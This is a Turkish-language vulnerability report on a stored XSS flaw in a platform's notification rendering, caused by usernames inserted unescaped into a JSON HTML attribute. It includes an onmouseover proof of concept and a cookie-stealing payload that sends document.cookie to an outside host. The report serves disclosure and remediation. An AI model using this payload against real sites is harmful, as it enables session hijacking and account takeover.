Stored XSS via JSON Attribute Injection in Notification Rendering

Özet

Topluyo platformunda kullanıcı adı verisi JSON formatında bir HTML attribute içine yerleştirilmektedir. Ancak JSON içindeki değerler HTML context'i için doğru şekilde escape edilmediğinden attribute sınırı kırılabilmektedir.

Bu durum, tarayıcının HTML parse sürecinde yeni attribute'lar oluşturmasına neden olmakta ve saldırganın `onmouseover` gibi event handler attribute'ları enjekte ederek JavaScript çalıştırabilmesine imkan tanımaktadır.

Zafiyet özellikle **bildirim (notification) açıldığında tetiklenmektedir** ve stored XSS olarak değerlendirilebilir.

Teknik Detaylar

1. Root Cause

Kullanıcı adı değeri bir `div` elementinin içinde JSON attribute olarak render edilmektedir.

Örnek yapı:

```
<div data-json='{"name":"USERNAME"}'></div>
```

Ancak kullanıcı adı içinde boşluk olduğunda JSON değeri HTML tarafında doğru şekilde escape edilmediği için tarayıcı attribute parse ederken bu değeri bölmektedir.

Örnek kullanıcı adı:

```
siber gizliliği koruma teşkilatı
```

Tarayıcı bunu şu şekilde yorumlayabilmektedir:

```
siber="" gizliliği="" koruma="" teşkilatı=""
```

Bu durum JSON attribute'un kırılmasına ve yeni HTML attribute'larının oluşturulmasına neden olur.

Exploit Süreci

Saldırgan kullanıcı adını aşağıdaki gibi ayarlayabilir:

```
isim onmouseover=alert(1) isim
```

Render edilen HTML şu hale gelir:

```
isim="" onmouseover="alert(1)" isim=""
```

Bu durumda `onmouseover` gerçek bir HTML event attribute'u olarak DOM'a eklenir.

Payload Geliştirme

Standart payload’larda:

```
"
'
```

karakterleri output encode edildiği için doğrudan kullanılamamaktadır.

Ancak JavaScript payload’ı **backtick (`)** kullanılarak tetiklenebilmektedir.

Örnek payload:

```
onmouseover=navigator.sendBeacon(`https://sibergkt.com/kaydet/
log.php`,document.cookie)
```

Bu payload çalıştığında kullanıcının cookie bilgisi saldırgan sunucusuna gönderilebilmektedir.

Trigger Senaryosu

Zafiyet doğrudan profil görüntülemede tetiklenmemektedir.

Ancak şu senaryoda çalışmaktadır:

1. Saldırgan özel hazırlanmış kullanıcı adı oluşturur.
2. Saldırgan başka bir kullanıcıya bildirim gönderir.
3. Hedef kullanıcı bildirimi açtığında DOM yeniden render edilir.
4. HTML attribute kırılması gerçekleşir.
5. `onmouseover` event handler çalışır.
6. JavaScript payload tetiklenir.

Bu nedenle zafiyet **Stored XSS** kategorisine girmektedir.

Etki (Impact)

Başarılı exploit sonucunda saldırgan:

- Kullanıcı session cookie’lerini ele geçirebilir
- Kullanıcı hesabı üzerinde işlem yapabilir
- Yetki yükseltme zincirleri oluşturabilir
- Bildirim sistemi üzerinden çok sayıda kullanıcıyı etkileyebilir

Eğer bildirimler toplu olarak gönderilebiliyorsa zafiyet geniş çaplı hesap ele geçirmeye yol açabilir.

Önerilen Çözüm

Aşağıdaki güvenlik önlemleri uygulanmalıdır:

1. Kullanıcı verileri HTML attribute içine yerleştirilmeden önce **HTML attribute encoding** uygulanmalıdır.
2. JSON verisi doğrudan HTML attribute içine yazılmamalıdır.
3. Kullanıcı verisi DOM’a yazılırken güvenli yöntemler kullanılmalıdır:
    - `textContent`
    - `setAttribute`
4. Event handler attribute’larının (`on*`) DOM’a eklenmesi engellenmelidir.
5. CSP (Content Security Policy) uygulanmalıdır.

Zafiyet Türü

Stored Cross-Site Scripting (XSS)